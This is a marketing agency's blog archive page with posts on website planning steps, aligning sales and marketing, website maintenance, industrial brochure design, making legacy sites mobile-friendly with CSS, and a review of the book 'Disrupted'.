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11 Essential Steps for Creating Your New Website Design

Tue, Sep 13, 2016 @ 10:00 AM / by Myke Amend posted in Industrial Website Design, Website Design, Web Design Company, Cincinnati Web Design Agency, Cincinnati Marketing Agencies, Internet Development, Cincinnati Advertising Agency, Cincinnati Website Design, web development, Website Design Company, Featured, Web Design

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Website Design Directions SignThough our Cincinnati web design agency tends to advocate repairing and improving cheap, DIY, outdated, or otherwise bad websites wherever and whenever possible, sometimes a new website build or complete website redesign is necessary.

If your company is new to the web, or if your business has a new website to build, it is important to have a solid web design plan in place before moving forward.

If you are hiring a web designer or web design company to do the work, pre-planning can still save an incredible amount of time and frustration, and guide the process toward having the best results from what will likely be your company's most important sales and lead generation tool for years to come.

In this post we'll outline the best process to build a great website with the best marketing potential.

Top most important steps toward designing your new web site:

Buyer Personas for Website DesignBad: "Elmo Haletosis Dinglefaartz the IIIrd: drinks lots of gin, and wears an eyepatch. Hates hayrides and squirrels."

Good:
"Inigo Montoya: Parking lot mogul and CEO with properties in Cincinnati, Covington, and Newport. Has purchased 15 demolition sites in the downtown area and is looking for concrete to pave them with. He does not want to interact or commit at this time, just wants basic questions answered." 

Step 1: Buyer Personas - Know your website's ideal visitor

It is easy to go down the path of designing a website for the company itself. Many designers go into web design projects with the company's image or even their own portfolio in mind first, and already in great danger of turning the website into a very expensive vanity project for the designer and company alike.

In this case, let's imagine a Concrete company whose website boasts that they are the greatest, oldest, and biggest in the area. They have lots of pages on CEOS, CFOs, pictures of big trucks and big projects, and are wondering why the site fails to generate new leads and customers.

While it is important to impress and even dazzle visitors, it is more important to consider the ideal visitors' primary needs. Knowing what will bring your ideal visitors to your website, knowing what information they'll be seeking, knowing how to inform and how to boost confidence, having a plan to help them them become satisfied customers should be the primary focus.

Imagine these ideal customers, give them names, ages, likely job titles, unique needs that brought them to you - and write these down. You are done. These are your buyer personas, and you are ready for the next step:

Guide to Creating Buyer Personas for Business by Lohre Marketing & Advertising, Cincinnati

Step 2: Consider the buyer's journey, and draw them a map

not a good web site map
Not a very good map for your website

Put yourself in your buyer persona's shoes. Consider what problems they came seeking solutions for, what questions helped them find you, how you might help them. Realistically define the process. Is your solution one that might require days, even months of decision-making, or a fast and easy choice? Having buyer personas in mind, allows you to map your website accord to their needs.

You might ask yourself these things:
  • How will I attract my buyer persona?
  • What information will I need to qualify them as leads?
  • What solutions will I need to provide them in return for this information?
  • What further interactions will encourage them to change from leads into customers?
  • How do I make those customers into return customers?
  • How do I encourage them to give great reviews and word of mouth promotion?

If you have answered all of these questions in detail, congratulations - you've outlined your marketing path, and sales funnel.

a very bad website design marketing funnel
This is not a very good sales funnel for your website. Chances are you will not be allowed to put people into actual funnels, or to feed them to bees.
a basic, bland, and vague and useless web site marketing funnel
That's a little bit better... in a very generic and vague way. Show that you really have a plan for this specific site, for this specific business.
web design online marketing funnel
Try to design your funnel specifically for your website, not just *any* site. The funnel could demonstrate a strategy for an entire site or a business - but most often, it will center around only one primary offer.

 

Step 3: Outline and Flow Chart

web-design-outline.pngOutline: Be thorough. Think how many pages and subpages deep this website will need to go. Also be sure to consider landing pages, which might not fall into the base hierarchy of the site.

An outline ensures that content flows in a way that is convenient and helpful to the average visitor. It also helps you to think of the process, and what content the process will require. You may find that you need more pages than you thought, but you might also find pages that can be ommited, or can be combined into one.

I recommend working on this outline in a word processing application, or anyplace where you can easily edit bulleted lists within bulleted lists.

When done, you have all you need to create a basic flowchart. Flow charts are simply graphical outlines for people who prefer flow charts over outlines (most people). Since this is mostly to illustrate how one could go from one page to the next, you don't need to get very fancy with it - blocks and lines will do (like the very simple web site flow chart to the right).

If however everyone involved is familiar with process flow chart symbols, you might want to go a step further and make an actual process flow chart ( https://support.office.com/en-us/article/Create-a-basic-flowchart-f8e57ca2-0c24-4760-bc2e-8812d7310c6a )

Step 4: Block it out.

web-design-board-f.pngOutline: Be thorough. Think how many pages and subpages deep this web site will need to go. Also be sure to consider landing pages, which might not fall into the base hierarchy of the site.

Before doing any graphic design, you need to know how the web site and its elements are going to work together - how they are going to present information, which elements need to grab attention, how, and why.

I like to use a styrofoam board, pins, string, construction paper, and multi-colored Post-its on an open wall or large corkboard. A large table will however do, but is not as fun, and you will probably need that table for other things before the project is completed. Don't worry now about how the website will look. Think instead about how layers will interact or be animated, where slideshows or movies might go, whether sidebars will exist and where, the function of the footer, which pages might have forms, and how they are to be presented.

Use your content outline as a guide. If you have already selected a CMS and templates, you should also consult those from time to time. Content in this stage, might be as simple as sticky notes that read "colorful image to illustrate B2B", "bulleted list with types of advertising", "CTA: View our helpful video!", or as advanced as photos and printed paragraphs.

Chances are you might eventually need something more portable than the crime wall or office table. If so, refine your flow chart based on the work from this stage, print it, and print numbered pages to correspond with each block. These pages and their content should reflect the pages on your wall.

Step 5: Software selection

By now you should a good idea what sort of CMS you will need for your web design project, as well as what you will need plugins and add-ons for. If you are not designing from a theme you have previously made, and don't plan to build one from scratch, this would be a good time to choose a theme to build from. This is also a good time to search the web for compatibility issues between software, themes, and plugins.

If the company has graphic standards established, they'll likely require a specific font stack for their website design. Make sure the needed fonts are available as web fonts, and know how much they will cost.

If the company does not have graphic standards established, this is a something you should discuss. Make sure that creating a corporate identity package is in the budget, or that graphic standards will be available by the time design work begins.

You now have a good idea of how the web site will function, know what software you will be using, and that there no known conflicts between. You also know that everything you are proposing to do can be done, how to do it, and have factored in outside costs.

Step 6: Mid-project meeting

this website meeting actually should not be an emailNo Skeletor, This meeting is not one of those. This is actually a great place to be and a very exciting time... halfway to launch!
Source:
memegenerator.net

If you are designing this web site for others, or need to consult with your colleagues, this is a great place for a mid-project meeting.

You've got a lot of information to share and things to discuss before moving ahead, perhaps too much. You can't cover everything here, but what is covered here will be shaped by the priorities, concerns, and schedules of those involved.

You have firmly established purpose, goals, needed software, server requirements, page count, content needs, new challenges, and additional costs. You also have a flow chart that serves as a map to build and design the site by.

This flow chart serves well as an itemized list of textual and graphical content needed for the site. You, the client, or your marketing team should begin creating and collecting the content needed for the completed website - Encourage them to tell their brand story, and to gather and create strong images to illustrate that story with.

Step 7: Installation, Setup, and Testing

website-hosting.jpgSome web designers would jump to the design stage before this, and if you are designing for others you may at least have been asked to make graphical mockups in order to get this far.

If you have that option, get everything installed, behaving properly, and at least semi-configured before wasting everyone's time on preemptive design. Hypothetical appearances tend to die horribly from compatibility issues, and actual needs.

If you build in a folder on the site's intended server, and test it, you will know that the site, and plugins work in that environment. This also gives you the ability to design in place, directly working with the actual product of Javascript, HTML, and CSS that the server-to-be will assemble from the CMS, plugins, and themes you chose.

Step 8: Framework

By the end of this stage, using your outline, you should have a good working website with all navigation working, and all proposed pages created. These pages are likely populated with lorem ipsum and placeholder images at this point, and that is okay.

Step 9: Basic Graphic Standards

This is a mini-stage before adding content. At this stage, we are still not out to create any more design elements than we absolutely have to, but we want a good idea of what our content will look like in order to improve upon it, and to design for it.

Whether you are working from an existing theme, or you started off with a structure that was devoid of any styling at all, this is a small stage where you should change colors and fonts to meet with the company's graphic standards, and remove styles and graphical elements that would compete with this branding.

Finish this stage by adding the company logo, preferably in .SVG format (Scalable Vector Graphics) so that it looks its very best at any size or resolution.

Step 10: Populate!

What? Still no design? Are you crazy?

Realistically, yes, but also consider that you already have a lot of finished design at this point:

If you have branding, you have fonts, a defined color palette, and a logo. You also have your crime lab-style layout from step 4, meaning that you have the user interface mostly planned out. You also know how navigation and pages will work together as a story to guide your visitors through the website.

If you were able to make it to this stage without submitting graphical mockups for revision, revision, and revision of purely-hypothetical concepts, you have an opportunity to think ahead about graphical styles and touches here, and are a very lucky designer for it. If your job is design only, hopefully you've been given content by this point, if it isn't you should focus on your content creation before proceeding.

Add in all of your text with only general styles (h1, h2, h3, p, br, blockquote, etc.), use placeholders in place of images, use bootstrap rules for your general layout so that all elements of fractional widths behave uniformly and responsively. I'd recommend skipping on internal links at this point, else you'll have to remember which content you were and were not yet able to assign internal links to.

Be sure to consider SEO in your choosing of permalinks as you go. This is easier to do now than to correct later. Don't obsess on this if it slows you down though, you can always correct with 301s if you have to, and/or a good find & replace job if your website's structure is data-driven.

Step 11: FINALLY! Design

This is not the stage where design typically happens, but it is the stage where design *should* happen.

Previous ideas and mockups here would have served more as constraint than inspiration. Making the functionality of the web site mesh with designs made information was gathered and framework, would be much like hammering a non-euclidian peg into a two-dimensional hole.

If you are like me, and have reached the point where working with CSS and HTML in place is much like, even easier than laying out a design in Illustrator or Photoshop, then you will likely be doing the bulk of your web site design with your text editor of choice and an FTP client, while keeping Photoshop, Illustrator, and/or GIMP open for making textures, creating graphics, and editing photos.

However you do your design work, having not spent too much time on graphics up to this point, allows for much better use of time every step of the way, and for a web site that is the product of inspired design, not remedial design.

Step 12: Web Site Design Never Ends

You should be constantly testing, refining, improving, and expanding your site. Beyond testing initial functionality of your website, testing such as A/B testing for different landing pages geared toward different buyer personas is a good place to start.

Blog often, and every time you return to your site, try to think of one small thing to improve on a page or the site itself. If you mark what you changed and when you changed it, you might be able to track these changes against web traffic or visitor behavior.

Always remember: Websites that aren't growing, are simply dying.

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AdVenture Explores the Industrial Marketing and Sales Relationship

Fri, Aug 19, 2016 @ 03:17 PM / by Chuck Lohre posted in Industrial Website Design, Website Design, Web Design Company, Cincinnati Web Design Agency, Internet Development, Advertising Design, Cincinnati Marketing, Cincinnati Advertising Agency, Cincinnati Website Design, web development, Website Design Company, Cincinnati Advertising Agencies, Web Design

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(This week's guest post is from Scott Costa, Publisher, tED magazine. We weren't able to go to AdVenture this year but it's the best industrial marketing conference for the electrical manufacturing and distribution industry. Our Creative Guide is from a presentation we gave at 2004's conference.  We just got the 8-19-2016 NAED eNews with this article featured.)

The 2016 NAED AdVenture Conference brought together about 140 marketing professionals in the same room.

And one sales professional.

Industrial Marketing bla bla bla

John Lorince from Leff Electric was in the company's marketing department, but moved to an outside sales position. His presentation drew the most questions and comments of the entire AdVenture Conference. By far. 

There were the obvious jokes about sales people being from the "Evil Empire" or "The Dark Side." But Lorince really put a lot of what marketing does into perspective by saying, "Some of what I thought was important, wasn't," when talking about his time in the marketing department. He also asked the marketing crowd how often they go on sales calls, and the answer was an overwhelming "once in a while."  Lorince believes it should be more than that. On the flip side, you have to wonder how many times a salesperson attended a marketing meeting or conference. Perhaps joining the two groups together a little more often would help bridge the communications gap.

Lorince added that it is extremely important for the marketing team to treat him like the customer. "Sell the products to me, so I can sell them to someone else," he advises. He also said he appreciates it when a member of the marketing team makes quick visits to his office to work with him on sales or special pricing, because in the long run it will make his job easier.

Lorince did a great job of providing a series of tips to the marketing people at the AdVenture Conference. So great that, before he finished, he was asked to mark his calendar to come back next year and address the group again.

His speech is really a great start to a very old problem. On one side, you have a marketing department that is using research, product knowledge, and concepts that set buying your products apart from the competition as an advantage. On the other side, you have sales people using research (like past history in successful selling), product knowledge, and concepts for setting himself apart from any other salesperson from another company to use as an advantage. So why are the two departments so far apart?

I tracked down some quotes from experts on B2B practices outside of electrical distribution, to find where they are seeing failures between marketing and sales. They are worth reading to see if you are experiencing the same situations. For example, Stephanie Tilton of Savvy B2B Marketing says, "Many corporate cultures don't support a meeting of the minds between sales and marketing. And without the support of upper management, any valiant attempts to close the gap will fizzle out. Whereas marketing often revolves around a campaign schedule, sales is sweating to meet quota."

Jennifer Beever or New Incite believes the problem between sales and marketing is traditional, and that tradition needs to end. "Traditional departments operate in silos, with each performing their function but not interacting with others. On one hand, too many marketing departments believe they need to operate autonomously, with input from sales. On the other hand, too many salespeople take a ‘maverick' approach, and don't give marketing credit for generating leads," Beever says.

This is an interesting topic, especially as we are seeing significant changes to our supply chain, including innovative new products being launched and the significant impact mergers and acquisitions have already had on our distributors and suppliers.  We have assigned our writers to take an even deeper look into this, and tedmag.com will be building stories to help you bridge the gap between sales and marketing.

We also hope John Lorince accepts the invitation to come back to AdVenture next year. We can all use more insight from people like him.  Maybe he can get even more salespeople to come with him.


Contact us today for a free, no obligation consultation.

Strategic Content Creation Handbook by Cincinnati Advertising Agency, Lohre & Associates

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Why Great Web Design & Web Development Never Ends

Tue, Aug 16, 2016 @ 10:00 AM / by Myke Amend posted in Industrial Website Design, Website Design, Web Design Company, Cincinnati Web Design Agency, Internet Development, Advertising Design, Cincinnati Marketing, Cincinnati Advertising Agency, Cincinnati Website Design, web development, Website Design Company, Cincinnati Advertising Agencies, Featured, Web Design

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Your new web design or web development project is finished... or is it?

Web Design GraphicIn a sense, maybe your web design or web redesign project is coming to a close. You've covered everything that is within scope, satisfied every need that was laid out in the project planning, web design quote, or purchase order. The end of project meeting answered all remaining questions, employees were trained on how to use and manage their new website, and it looks like you can call this a job well done and *finally!* launch your new corporate website.

From here, ideally, your new site will impress visitors, generate new leads, make sales, and yield much better search results. You finally have a site that is well-optimized for search by today's standards, including being responsive/mobile-friendly. You even made sure to make it a secure (HTTPS/SSL) site.

Yep, your site is completely, at this very moment, modern and will serve you well for 2 to 5 years, until you need to completely replace it again, as business from the site begins to slow, and visitor counts dwindle...

and when that time comes, you may wonder...

"Our last web design is only a few years old, why is this happening?"

Here are some of the most common reasons a great website can fail over time:

Website Missed Maintenance Issues:

Like all business equipment, from large industrial machinery, to company cars, to copiers, websites need to be maintained to retain value. Most companies wouldn't let their vehicles go a year without changing the oil, but many companies allow their websites go to seed, creating a cycle of time and revenue lost for need of emergency patches, leading eventually into the need for a complete replacement.

  • Regular maintenance can help keep your site up to date with today's SEO standards. It is much harder (and more costly) to recover lost search position than it is to maintain and improve the ranking of your web site. Losing revenue all the way up to that point makes this decision even less affordable.
  • Regular maintenance can defend against hacks, malware, blackhat SEO and other factors that might harm your ranking. Regaining ranking after your web site loses search placement and is indexed with a "this site may be harmful to your computer", is often extremely difficult, and costly. Regaining placement lost to spammers and black hat SEO is also difficult.
  • Regular Maintenance can keep your web presence in all available markets. As new devices are created and released, as monitor sizes increase or shrink, as screen resolutions become sharper, as internet speeds increase, as devices from servers to smart watches become faster - you should want your web site design to be accessible to as many people on as many devices as possible. Regularly look in on your website, from multiple devices, and try to always consider devices that you may be leaving out.
  • Regular Maintenance can allow you to detect and fix broken links, broken contact forms, and other lost functionality before you lose business from it. Sometimes web hosts upgrade their software, or tighten up their security. This can cause a site to break. You do not know the web host made changes to the environment. Your web host does not know that your site or some part of your site broke as a result. Often, by the time a potential customer contacts a company about a broken website, or broken web page, weeks, even months have gone by. In this time, hundreds of other visitors have simply gone elsewhere. The question "How long has this been broken?", can lead to revelations about business slowdown you do not want to have.
  • Great sites come from evolution, not as pre-packaged solutions. Fully replacing an old site can be necessary if too much time has passed since the last time it was worked on, but the best very sites are sites that are regularly retuned and refined to keep up with current needs and standards. You invested a lot of money in your new build. Maintenance could mean no more major rebuilds, less cost over time, and much better results.

 

example of a fully mobile responsive design for all devices
Example of a website designed for widescreen, desktop, laptop, tablet, and cell phone.

 

Website Disuse issues:

Inbound Marketing is one of the most important aspects of good Web DesignThis mistake, in recent times of Wordpress and other types of CMS (Content Management Systems) being the standard, in more-recent times of search providers giving preference to regularly-updated sites, can be just as harmful as the former. As even the best equipment can become rusty when negelcted, so can your web presence.

  • Regular content updates help your search presence and can help your site-wide keyword saturation. Google, and other search engines prefer sites that they know are being maintained. Fresh content shows Google that the site is an actively growing site, not an abandoned site that is only still living because of pre-paid hosting, or that someone forgot to pull the plug. Since people who are searching are most-often in search of up-to-date information - search engines try to search up the most up-todate content and web sites.
  • Regular updates can extend the size of your site, and build its footprint on the web. Whether you are blogging, adding new pages, or extending the content of existing pages (perhaps breaking content up into more subpages), you are gaining more chances to be indexed and seen, building keywords for your site, expanding the size of your net.
  • Stasis is death. While your site is not growing - your competitors sites may be. Worse: while you are failing to build new links to your site, you are most likely losing links as well. Backlinks are still the number one factor in determining search ranking. As sites, pages, and articles that were linking to you disappear, are edited, or are archived, you are losing inbound links. Companies that are regularly building links tend not to notice, but when you stop building, these losses are hard to ignore.
  • Disuse IS Misuse. If you are not using your website as an effective marketing tool, it becomes only about as handy as a business card or a listing in the whitepages. If customers need to already know you exist in order to find your web site, you might as well be sticking to brochures and pamphlets. A good inbound marketing campaign identifies visitors, turns visitors into leads, and nurtures leads into happy customers.
  • Without a good marketing plan, clicks and visits are merely numbers. Purchasing ads online and in print are great ways to bring visitors to your site. Mailers, magazine advertising, eNewsletter advertising, directory placements, technical articles, and advertorials are also great ways to drive traffic. If you are doing these things, but have no marketing strategy and no marketing automation in place for your website, you are simply wasting your advertising dollars and efforts.

If your company does not have its own marketing staff, if you do not have your own staff of net technicians, web developers, or graphic designers, Lohre and Associates can help with your short term or long term marketing and web development needs.

If you would like to save money on coordinating advertising efforts between multiple advertising and marketing services, Lohre and Associates would love to help. As Cincinnati's full-service industrial advertising and marketing agency, we do it all.

Contact us today for a free, no obligation consultation.

Strategic Content Creation Handbook by Cincinnati Advertising Agency, Lohre & Associates

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Four Page Brochure Industrial Graphic Design for Construction Equipment Marketing

Tue, Jun 21, 2016 @ 01:19 PM / by Chuck Lohre posted in industrial photography, Promotional Brochure Design, Construction Equipment Marketing, Graphic Design, Cincinnati Advertising Agency, marketing agency, Ad Design

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Construction equipment marketing literature has evolved from patent drawings to amazing 3D animations. Here we will focus on the static limitations of photography, illustration and descriptive text. For inspiration you can stop by your favorite auto dealership on the way home, the big three's sales literature will always be a great guide to technical communication. Cars are just as complicated as construction and processing equipment and they have to be sold to a general public. Just like the technical literature you design.

Every good piece of literature starts with the expert sales representative; they know what images to show and what benefits and features to address. For the best short summary of industrial marketing techniques, download Business Marketing Association Director Rick Kean's presentation,"Marketing Skills Assessment," delivered to the 2005 AdVenture Electrical Industry Marketing Conference. Learn more on our Marketing Handbook intro page.

Industrial Commercial Photography and Illustration ImageThe views need to be photographed or illustrated. Cutaways and enlargements can be used to focus on benefit/features. Usually in a four-page brochure, it starts off with a signature image on the cover with little or no embellishments. Usually the signature image used for Product Releases. learn how to take such photos on our Photography Design page.

As you turn to the first spread, there is room for larger views with cut-aways and callouts. The back is good for a table of specifications. Think about a sales brochure as also being a crutch for the sales person who may not be an expert on the equipment.

Some sales methods wouldn't place as much importance on visual benefit/feature technical literature, better to focus on the problems that the equipment is designed to solve. It's a decision you are going to have to make or combine. How much time, labor, material, cost and engineering saved if you purchase the equipment require much different visuals than equipment benefit feature photos. Knowing your audience, their problem, their budget and timeframe are the most important when choosing your presentation. This page on our site, Literature Design, is one of the most popular and number one on Google and Bing.

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Redesigning a Website to be Mobile-Friendly on a Budget

Thu, Jun 09, 2016 @ 03:02 PM / by Myke Amend posted in Industrial Website Design, Website Design, Web Design Company, Cincinnati Web Design Agency, Internet Development, Cincinnati Advertising Agency, Cincinnati Website Design, web development, Website Design Company, Cincinnati Advertising Agencies, Advertising Agency, Web Design

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Website Redesign Does Not, Should Not Always Mean Replacement:

We all know how increasingly important having a mobile-friendly website has become to search engine placement, but for many reasons, a company might not be ready, or able to do a complete overhaul of an antiquated website or website design.

I am going to go over a few ways a company can hold onto the site they have (as well as a few reasons they might want to) while quickly and inexpensively bringing their site into the 2010s with mobile-friendly styling.

Common reasons not to upgrade a website:

  • It is not in the budget: This might because money was already recently put into a new website design, or that the ideal and perfect website for the company will require more capital than is currently available.
  • There isn't time: Funding aside, major web development tends to require time from the client for gathering promotional literature and other collateral materials, approving designs, flow charts/site maps, discussions on what the new website should be able to do. When it comes to building a new website, some level of collaboration is necessary.
  • Google and other search engines really like old sites: It is true that the older a website is, the more reliable the website appears to search, but one must also consider that regularly-updated sites are also favorable. The perfect mix, we've found, is having a site with an old domain, and regularly updating it.


Rome wasn't built in a day - Good websites also take time.

The very best sites are not made in a day, or even a month - The best websites are the product of years or more of regular updates and upgrades, close attention to not creating broken links in the process, and minor design improvements made regularly. This is especially true when it comes to SEO.

Coming from an artist who has spent over 20 years as a web developer, over a decade more doing graphic design, and an entire lifetime creating fine art: There really is something to be said for works that have had a lot of time, passion, and care for detail put into them. This level of attention to detail does not happen with purchased templates, it does not come with even the largest budget for website redesign. Sure, it can begin there, but the very best websites come from many, many minor changes.

As important as it is to regularly update your CMS (content management system) software, update plugins, check your site's and servers security, check for broken links, create new blog posts, create new pages, create other content, check directories and other inbound links - making regular minor changes to design, function, and architecture is what brings a website ever-closer to perfect.

"Minor changes"?? Making our website mobile-friendly is a huge undertaking!!

It is easy to think this. Your site might have a lot of pages... hundreds, even thousands. You might even have several different templates for several different types of pages within your site. Your site might even be built on an older/outdated CMS, a long-extinct version of one, or something completely proprietary and unsupported **

Regardless of the type of server you are running on, whether your pages are php, asp, HTML, regardless of what CMS you are using or how old your site is, the end result is that all web site pages are outputted as some sort of HTML, the language a web-browser reads to present a web page for your viewing, and all HTML is, or rather should be formatted with stylesheets - which are all some form of CSS.

Restyling/Redesigning the website to work well with mobile from here is mostly a matter of adding of taking these steps:

  • Adding the viewport meta tag to the header is the first thing I do: Re sizing my browser, I can see how the site and its pages are going to look at different widths, but for a lot of mobile devices the site will not present the same without this tag, which can be easily forgotten.
  • Use media queries within the css to make the web pages and their elements behave differently at different screen sizes: This is mostly a matter of making sure all elements (images, layers, paragraphs) have a max-width of 100% or less (including their margins, borders, and sometimes padding), and that their contents will not overflow those boundaries (by declaring how to treat overflow).
  • Make sure things fall properly into line: Images, layers, and paragraphs ideally should, most-often each take up the full width of a mobile device. I tend to make elements expand to this size, then add  "clear: both" and "float: none" to their styling.
  • Make sure they fall into the proper order: Things that were floating left end up above the elements that were to their right, this is not always the best order for viewing. Sometimes element a, b, and c need to be read top-to-bottom as c, b, and a. To address this, I tend to go the Flex/ Flex-flow/Order method, but this and a number of other methods are covered in this stack overflow thread.
  • Make a simple mobile menu/thumb menu: You need only use CSS to do this. A very simple drop down thumb menu can be found here, on Medialoot. Sometimes, especially if there are few pages, it is even more simple. For both Dynamic Industries (large scale machining) and Vertiflo Pump Company (vertical submersible centrifugal pumps), I didn't even make a thumb menu - I simply made it so that menu items fell into new rows, evenly, and gave them a layered tab appearance on mobile devices.

Mobile-friendly Website redesign for Dynamic IndustriesMobile-friendly Website redesign for Dynamic Industries

Above (left and right) The pages of this standard HTML site were given a mobile-friendly re-design through simple CSS styling changes. A mobile menu was also added simply by re-styling the existing links/navigation

Foreseeable difficulties:

For a lot of older, really older sites, or for sites that were designed by people with limited design knowledge, or no design knowledge at all, these are some common snags run into:

  • The website, site pages, or site content were created in MS Word: The result of this is a massively huge file, horribly coded, and especially badly-coded for trying to restyle with CSS. There is a large amount of proprietary code in there, and unique styles are applied to most every element, if not each and every character. There are a number of ways to clean this up, I am not going to recommend any of them in particular (but advise you try several of the free ones first).
  • There is no CSS style sheet, and there are no CSS styles applied: Actually, often this is even better - it means that you will not be fighting competing style declarations and addressing most things element by element. CSS will override HTML in most cases (unless there is inline CSS). Just attach a stylesheet to the pages or template and work from there.
  • There are inline styles for a number of elements or for every element: I really hate to use it, but if a very object-specific CSS declaration won't do, you can use "!important" at the end of your declarations to override these. Use them sparingly. If all else fails, any good text editor with "find/replace" can possibly be used (locally) to remove these as you find them. If these inline styles are used within post and page content, a good find/replace plugin might be available for your CMS. If it is Wordpress, I use "Better Search/Replace".
  • Tables??... who still uses tables?? A decade after most designers should have stopped using them, they are still a fairly common thing. Sometimes, they are even necessary... at least until Mozilla Firefox starts handling flex correctly. Though tables are something to be avoided for layout, they are still handy as far as what they were intended for: Displaying specs and data. Generally, if tables are used to layout content, I break them apart with "display: block; overflow: hidden; float: none; clear: both;" and then work on the styling from there. Since a majority of our clients are Industrial, and more specifically: in the process industry tables filled with data are pretty common. I use CSS to break lines and to rotate the table headers at smaller sizes, like so (LEFT/top: normal website view of the table, RIGHT/bottom: Mobile website view of the table):

Website Design: Table Rotation example 1web-design-table-rotation.png

 

So... Why are we doing this again?

1. Search engines now favor mobile-friendly websites.

2. Content that is mobile-friendly reaches a wider audience/is more accessible.

3. Content that is mobile-friendly is more likely to be shared, if only because of the wider audience provided by being mobile-friendly and having better search placement.

4. It is actually not as hard as it might seem:

I know it might seem like a lot of work, all of these steps might not be necessary, and taking these steps could get help your website by in the mean time, and possibly for a while - maybe much longer if the website is regularly kept up to date with internet standards. It is also often easier, and more cost-effective to maintain a website than it is to completely replace it. Making your website mobile-friendly will put you back on the right path.

These changes, are changes that should be applied over a handful of days, and improved upon as time goes by. If you do not have a web designer who is capable of doing this in this time frame, we'd be happy to help - Just contact us.

Making a website mobile-friendly is very important in that Google and other search providers use this as a standard when giving search placement. If you also consider that an increasing amount of website visitors are using cellphones or other mobile devices, and that this portion of visitors and potential visitors is fast-becoming the majority, you know that not having a mobile-friendly site is like being on only a very small portion of the internet. It is not a very nice thing to do to yourself, your company, or all those who might wish to be connected with your product or service.

 

 

 


** In the latter case: Yes, I would suggest some sort of overhaul - because any CMS or plugin version even an hour old might have some exploit or other vulnerability that will end in your site being loaded with malware and pharmaceutical ads, if it is not already. I won't go into that here, You can read more about that here, for the sake of this article I am going to assume your site is secure and sound against these things.

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"Disrupted," Book Review - If industrial marketing was easy, everyone would be doing it.

Tue, May 31, 2016 @ 09:50 AM / by Chuck Lohre posted in Industrial Marketing, Inbound Marketing, Process Equipment Marketing, Cincinnati Marketing Agencies, Cincinnati Advertising Agency, marketing agency, Industrial Marketing Agency, Advertising Agency

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Disrupted Book Cover DesignHey, Dan Lyons, you don't know what you are talking about. I'm talking about marketing, but he's talking about tech start-ups and mid-life displacement. His book "Disrupted -- My Misadventure in the Start-Up Bubble," was released in April. Lyons' memoir traces his career -- he's a journalist with deep roots in the tech industry-- through being hired by a Boston area-based marketing software company start-up. But don't read Disrupted if you want to learn about Internet marketing.

Three years ago a prospect asked me to find a web site program that integrated a customer relationship management program with an easy-to-use content management system. After some research into WordPress, Eloqua, Marketo and Pardot; I pitched HubSpot (the company Lyons joined as a Marketing Fellow). I found the WYSIWYG (What You See Is What You Get) editing screens were easy and the price was right for what the prospect wanted. Never got the job with the pharmaceutical machinery company but signed the agency up for Hubspot and became a Partner.

From reading his book, Lyons hasn't described the basics of marketing. Know you audience, get to know their pain and offer solutions that move them to your solution. After nearly 40 years in the industrial marketing world, that method is similar to Dale Carnegie, Sandler Sales System and what I learned of P&G's marketing methods from coming across their educational tools to marketers. "Know your audience, where they are in their purchasing process" and create marketing materials that move them toward your solution. Sure Hubspot Culture (which we adopted with a grain of orange salt) fits the start-up culture Lyons describes but I always looked at them as offering good tools to measure and accomplish marketing goals.

Probably the most eye-opening thing I learned was HubSpot's call center. The whole idea of Inbound Marketing is to get away from call centers, but at least it's a warm call center and HubSpot is designed to create a pool of candidates that will finally need a call to move the needle.

But then his book returns to employee hijinks. Halloween Parties? Dan, everyone has dressed up for Halloween at their companies to one extent or another. I think you would be better off writing about accounting procedures rather than marketing. Marketing isn't a science. It's a bit of personality, a bit of application knowledge and a ton of perseverance. You have to contact prospects almost ten times to get the opportunity to make a sale. In the industrial world, you make friends for life because just like pollution, "Nothing Goes Away." The industrial marketing world is made up of hard working engineers that care about their customers and stick around. So my company isn't like Hubspot, but their software will teach you how to leverage the internet to market an industrial product.

Chuck Lohre, of Cincinnati Advertising, Branding, and Marketing Agency, Lohre & Associates inc.The really great thing about HubSpot is its educational track. They provide very detailed and expertly written videos to learn and a good test to take. I've gone through to "Partner" status and our programmer has accomplished the "Design" level. It's been hard to get our interns and even others on staff and associates to take the "Inbound" test so we all get-together and take their test together. It's fun; we re-enforce the methodology and the candidate get their badge. I wish you would have reported just a little bit about the history of industrial marketing, the perfect match for HubSpot, it started with the industrial revolution patent models and now has morphed into YouTube videos and webinars.

Back in 2013, internet marketing was starting to overwhelm me and I was lost as to how to advise my clients. When I learned about HubSpot and how to break down the sales education process into specific steps I could understand and had the software tools to implement; I was relieved. Now there is no internet marketing problem that I can't diagnose and solve. Hubspot gives you all the tools, white papers, spread sheets and calculators to take any good product from zero to 60 overnight. And to upgrade your website. Don't reinvent your website, fix the problems and measure results. Are committee meetings and irrelevant parties in your company throwing wrenches into you site redesign process? Try HubSpot's' "Growth Driven" site re-creation template. But be prepared to lock upper management, sales, marketing, and manufacturing in a room for a few days. Hubspot has the finest marketing education materials I have ever seen. The problem they face now is how to make it fun. Real learning, means turning the tv off, unplugging the phone and studying. "Inbound," HubSpot's annual conference puts a fun spin on the hard work of marketing. There's nothing wrong with that. I'm looking forward to seeing in person my teachers and counselors. They are my "Peeps." And I'm a 60 something, enjoying learning from kids that could be my children.

"Disrupted" is a good read and history of tech start-ups and the new business of selling a mysterious "Secret Sauce" from a company that loses money. To me, Google is the only one pulling it off. Its model is to create a search engine, sell ads on it, and give advertisers the tools to measure it. It's the fox guarding the hen house. We spend thousands of dollars per month on internet advertising. Very hard to measure success and very easy to lose thousands, instantly. Google sells me ads for chemical processing equipment and their measurement tools tell me that girls 18-24 in southern California are the majority of the folks that click on a machine that, "processes three cubic meters of material in an hour." That's the text of the ad! LinkedIn at least allows me only to advertise to specific companies or job titles. For that chemical processing equipment, they are only 13,000 appropriate titles worldwide. I only get chemical and mechanical engineers to join my LinkedIn Group from our advertising. I hope LinkedIn does make some money for their investors soon, but it doesn't matter to me. The "Emperor's New Clothes" have been the latest fashion for as long as an invisible thread has been sold.

